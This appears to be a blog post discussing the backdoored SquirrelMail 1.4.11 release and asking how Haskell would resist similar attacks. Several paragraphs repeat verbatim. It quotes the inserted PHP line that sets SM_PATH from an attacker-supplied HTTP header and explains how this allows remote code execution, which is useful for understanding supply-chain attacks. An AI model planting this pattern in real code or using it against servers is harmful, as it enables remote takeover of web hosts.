A few days back, it was announced that the open source web mail program had been attacked and poisoned so that any site that installed it would be vulnerable to a remote code exploit.
The interesting thing about it to me is that the attacker chose to poison it by modifying the PHP code slightly to create an non-obvious exploit:
So this leads me to wonder, what kinds of security errors / attacks is Haskell vulnerable to? I would really love it if someone did an analysis of typical attacks, buffer overflows, global variable problems, etc. in PHP, and show how Haskell is vulnerable to them, or how it is not. Strong typechecking should help a lot, lack of global variables should also help.
For extra credit, propose ways to extend or modify Haskell to not have those problems. Should we eliminate unsafePerformIO, IORefs/MVars/IOArrays and the FFI?
This is not to say that I'm blaming PHP. Obviously, if the attacker has access to the server and permissions to modify the distribution, there's not much that can be done to prevent them from poisoning the distribution. Also, the nature of HTTP applications in any language adds the difficulty that the URL, for instance, can introduce variables. I don't know anything about the SquirrelMail codebase so I can't really tell why the above code works. I'm guessing the Haskell wouldn't be quite so easy to hide, because of the side-effect of the "define" is not really applicable to Haskell.
Another funny thing about this attack is that it was caught because the MD5 of the package didn't match the new tarball that the attacker created. I don't understand (maybe someone can enlighten me) why the attacker didn't change the MD5 stamp on the server as well, since I'm guessing they reside on the same server. The sums were also posted in the announcement so maybe someone noticed the discrepancy there? I'm also curious how the attacker got access to the account that was used in the first place, but haven't seen any data on that.
The interesting thing about it to me is that the attacker chose to poison it by modifying the PHP code slightly to create an non-obvious exploit:
"While the modification was minor, a simple change to a PHP global variable, it led to the case where the compromised versions of SquirrelMail would allow arbitrary remote code execution. With the earliest affected version (1.4.11) having been made available in late September, it could be that there are a significant number of installations that may now be vulnerable to attack and compromise."I dug around a bit to find what the compromise looked like, and finally found a description on a blog that showed what code was inserted:
PHP is a difficult language to write secure code in. What I find really interesting is that the attacker chose to write some obfuscated global variable hack, presumably to make it harder to spot that it was a remote code exploit, and apparently it worked./** set the value of the base path */ if (isset($_SERVER['HTTP_BASE_PATH'])) { define('SM_PATH',$_SERVER['HTTP_BASE_PATH']); }Initial views on the code change showed this shouldn’t be able to do anything, because HTTPBASEPATH wasn’t a defined variable. That’s where the problem is. These variables are passed in from the HTTP server, which means that the remote user could push them via the http transaction, and get PHP to load them. This is a bad thing, because it means that the next page loaded would really be loaded from the remote host. This then allows the user to execute malicious PHP code, as the webserver user, on the victim’s host, without any interaction with the victim at all.
So this leads me to wonder, what kinds of security errors / attacks is Haskell vulnerable to? I would really love it if someone did an analysis of typical attacks, buffer overflows, global variable problems, etc. in PHP, and show how Haskell is vulnerable to them, or how it is not. Strong typechecking should help a lot, lack of global variables should also help.
For extra credit, propose ways to extend or modify Haskell to not have those problems. Should we eliminate unsafePerformIO, IORefs/MVars/IOArrays and the FFI?
This is not to say that I'm blaming PHP. Obviously, if the attacker has access to the server and permissions to modify the distribution, there's not much that can be done to prevent them from poisoning the distribution. Also, the nature of HTTP applications in any language adds the difficulty that the URL, for instance, can introduce variables. I don't know anything about the SquirrelMail codebase so I can't really tell why the above code works. I'm guessing the Haskell wouldn't be quite so easy to hide, because of the side-effect of the "define" is not really applicable to Haskell.
Another funny thing about this attack is that it was caught because the MD5 of the package didn't match the new tarball that the attacker created. I don't understand (maybe someone can enlighten me) why the attacker didn't change the MD5 stamp on the server as well, since I'm guessing they reside on the same server. The sums were also posted in the announcement so maybe someone noticed the discrepancy there? I'm also curious how the attacker got access to the account that was used in the first place, but haven't seen any data on that.